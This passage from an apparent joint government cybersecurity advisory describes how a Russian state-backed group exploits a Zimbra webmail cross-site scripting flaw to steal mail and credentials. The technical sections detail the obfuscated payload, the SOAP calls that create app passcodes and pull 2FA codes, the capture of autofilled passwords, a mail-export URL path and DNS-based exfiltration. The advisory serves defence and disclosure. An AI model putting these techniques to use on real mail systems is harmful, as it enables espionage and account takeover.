<p>The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the <a href="https://www.cisa.gov/#mitigations1">Mitigations</a> section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed <a href="https://www.cisa.gov/#ioc1">Indicators of compromise</a> (IOCs).  </p>
<p>As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.</p>
<p>For a downloadable list of IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.xml">AA26-204A.stix.xml</a> (STIX XML)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.json">AA26-204A.stix.json</a> (STIX JSON)</li>
</ul>
<h2><strong>Cybersecurity industry tracking</strong><a class="ck-anchor"></a></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:</p>
<ul>
<li>LAUNDRY BEAR</li>
<li>Void Blizzard [<a href="https://www.cisa.gov/#wc2">2</a>]</li>
<li>CL-STA-1114 [<a href="https://www.cisa.gov/#wc3">3</a>]</li>
<li>TA488 (formerly UNK_PitStop) [<a href="https://www.cisa.gov/#wc4">4</a>]</li>
</ul>
<p><strong>Note:</strong> Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.</p>
<h2><strong>Background</strong></h2>
<p>Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [<a href="https://www.cisa.gov/#wc1">1</a>] [<a href="https://www.cisa.gov/#wc2">2</a>]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  </p>
<p>The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank">T1114.002</a>]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [<a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank">T1078</a>], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence &amp; Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [<a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank">T1557</a>].  </p>
<p>Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank">T1587.001</a>] named “<em>Улей</em>” or “<em>Ulej</em>” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank">T1114</a>]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:</p>
<ul>
<li>Last 90 days of emails,</li>
<li>Email address,</li>
<li>Password [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank">T1589.001</a>],</li>
<li>Global Address List (GAL) [<a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank">T1087</a>],</li>
<li>Two-factor authentication (2FA) tokens, and</li>
<li>Newly-created Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank">T1098</a>].</li>
</ul>
<p>The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.</p>
<h2><strong>Targeting details</strong></h2>
<p>LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:</p>
<ul>
<li>the Defense Industrial Base (DIB),  </li>
<li>the federal and local government,</li>
<li>education,</li>
<li>energy,</li>
<li>law enforcement,  </li>
<li>media,  </li>
<li>non-governmental organizations, and</li>
<li>technology.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a> framework, version 19. This advisory also uses <a href="https://d3fend.mitre.org/" target="_blank">MITRE D3FEND<sup>TM</sup></a> version 1.4.0<a href="https://www.cisa.gov/#f15"><sup>15</sup></a>. See <a href="https://www.cisa.gov/#appendixa">Appendix A</a> and <a href="https://www.cisa.gov/#appendixb">Appendix B</a> for tables of the activity mapped to MITRE ATT&amp;CK and D3FEND tactics, techniques, and countermeasures.</p>
<p><em>Ulej </em>is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> [Common Weakness Enumeration (CWE) <a href="https://cwe.mitre.org/data/definitions/79.html" target="_blank">CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'</a>)], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank">T1074.002</a>] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.</p>
<h3><em><strong>Reconnaissance</strong></em></h3>
<p>LAUNDRY BEAR uses the <em>Ulej </em>capability to exploit the <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank">T1595</a>] and fingerprinting datasets easily procured through various commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank">T1596.005</a>].  </p>
<p>After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank">T1589.002</a>] from datasets offered by commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank">T1597.002</a>], open source intelligence [<a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank">T1593</a>], or previously exfiltrated data [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank">T1597</a>].  </p>
<h3><em><strong>Resource development </strong></em><a class="ck-anchor"></a></h3>
<p>The actors procure VPSs from a variety of providers [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/">T1583</a>] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for <em>Ulej’s</em> Flowerbed framework [<a href="https://attack.mitre.org/versions/v19/techniques/T1608/">T1608</a>], which then receives and aggregates the data <em>Ulej</em> exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.</p>
<h4><strong>Flowerbed framework</strong></h4>
<p>Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:</p>
<ul>
<li>Catcher,</li>
<li>Certbot,</li>
<li>Nginx, and</li>
<li>Gardener.</li>
</ul>
<p>Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/">T1048</a>]. For additional information on Catcher, refer to the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank">T1048.002</a>]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.</p>
<p>The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank">T1588.007</a>]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank">T1588.002</a>], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.</p>
<h3><em><strong>Initial access</strong></em></h3>
<p>To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [<a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank">T1566</a>]. Through exploitation of <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, this JavaScript payload is immediately executed once the user views the malicious email [<a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank">T1203</a>], such as the one shown in <a href="https://www.cisa.gov/#figure1"><strong>Figure 1</strong></a>, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [<a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank">T1199</a>], as shown in the email metadata in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure1.png?itok=yrzcl7tK" width="604" height="235" alt="Figure 1: Example of malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 1: Example of malicious email</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure2.png?itok=vEulmmyx" width="604" height="102" alt="Figure 2: Headers from an example malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 2: Headers from an example malicious email</strong></em></figcaption>
  </figure>
<p>According to the National Vulnerability Database (NVD), <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66376" target="_blank">CVE-2025-66376</a> was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [<a href="https://www.cisa.gov/#wc5">5</a>]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank">T1587.004</a>].  </p>
<p><strong>Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.</strong></p>
<p>Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank">T1027.017</a>], as shown in <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a>. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>) [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank">T1027.013</a>]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank">T1027.010</a>], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [<a href="https://attack.mitre.org/versions/v19/techniques/T1119/">T1119</a>]. The stages in order of appearance within the payload are as follows:</p>
<ol>
<li>sendStartPing,</li>
<li>gather_email,</li>
<li>gather_environment,</li>
<li>gather_2fa_codes,</li>
<li>gather_app_password,</li>
<li>gather_device_status,</li>
<li>gather_oauth_consumers,</li>
<li>gather_autocomplete_password,</li>
<li>enable_mail_protocols,</li>
<li>gather_gal,</li>
<li>sendArchives, and</li>
<li>sendFinishPing. </li>
</ol>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure3_0.png?itok=M-bj5-nb" width="607" height="577" alt="Figure 3: Malicious payload of example email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 3: Malicious payload of example email</strong></em></figcaption>
  </figure>
<p>Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank">T1587</a>].</p>
<h3><em><strong>Persistence and credential access</strong></em><a class="ck-anchor"></a></h3>
<p>To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [<a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank">T1550.004</a>], and the Zimbra campaign follows a similar trend.</p>
<p>The script used in this campaign tries to discover the victim’s email address during the <em>gather_email</em> stage [<a href="https://attack.mitre.org/techniques/T1087/" target="_blank">T1087</a>]. The script searches for this email address in two ways. First, it examines the <em>batchInfoResponse </em>variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [<a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank">T1185</a>] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of <em>null </em>over HTTPS and does not attempt DNS exfiltration.</p>
<p>During the <em>gather_autocomplete_password</em> stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a>. If there is no value in that input field, it checks the password input field shown in <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of <em>null </em>is sent over HTTPS and DNS exfiltration is not attempted.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure4.png?itok=ZOZ8JHZC" width="1024" height="188" alt="Figure 4: First illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 4: First illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure5.png?itok=8xZU_GCa" width="1024" height="115" alt="Figure 5: Second illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 5: Second illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p>LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the <em>enable_mail_protocols</em> stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.</p>
<p>ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the <em>gather_app_password</em> stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank">T1556.006</a>]. The SOAP request uses “ZimbraWeb” as the name of the application.</p>
<p>Additionally, the script also attempts to collect 2FA tokens. During the <em>gather_2fa_codes</em> stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.</p>
<h3><em><strong>Collection</strong></em><a class="ck-anchor"></a></h3>
<p>As demonstrated in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, other SOAP commands executed to collect victim information are shown in <a href="https://www.cisa.gov/#table1"><strong>Table 1</strong></a>.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 1: Additional SOAP commands used</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>SOAP Command </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Namespace </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Stage </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraSync </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>SearchGalRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.</p>
<p>During the <em>gather_environment</em> stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in <a href="https://www.cisa.gov/#table2"><strong>Table 2</strong></a>) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 2: ZCS webmail client types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Indicator </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Client Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Associated Value </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>?client=advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/h/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Standard </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>h </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/modern/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Modern </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>m </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&amp;meta=0&amp;query=date:-{DAY_OFFSET}d AND (not in:junk)”. The <em>{DAY_OFFSET}</em> value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of <em>zd_comp_YYYY-MM-DD</em>, and value of <em>true</em>, is saved to the <em>window.top.localStorage</em> property. This variable is saved regardless of whether the email is successfully exfiltrated.  </p>
<p>According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a <em>{DAY_OFFSET} </em>of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section.</p>
<p>The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of <em>gather_gal:{VAL}:api</em>. The <em>{VAL}</em> placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder <em>{DAY_OFFSET},</em> with a format of <em>sendArchive:day-{DAY_OFFSET}</em>.</p>
<h3><em><strong>Exfiltration</strong></em><a class="ck-anchor"></a></h3>
<p>At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank">T1048.003</a>] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.</p>
<p>Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  </p>
<h4><strong>DNS exfiltration</strong></h4>
<p>DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, <em>Ulej </em>maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a>. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure6.png?itok=Tv8RT8o8" width="1024" height="49" alt="Figure 6: Structure for information exfiltrated by DNS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 6: Structure for information exfiltrated by DNS</strong></em></figcaption>
  </figure>
<p>When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. <a href="https://www.cisa.gov/#table3"><strong>Table 3</strong></a> lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 3: DNS exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
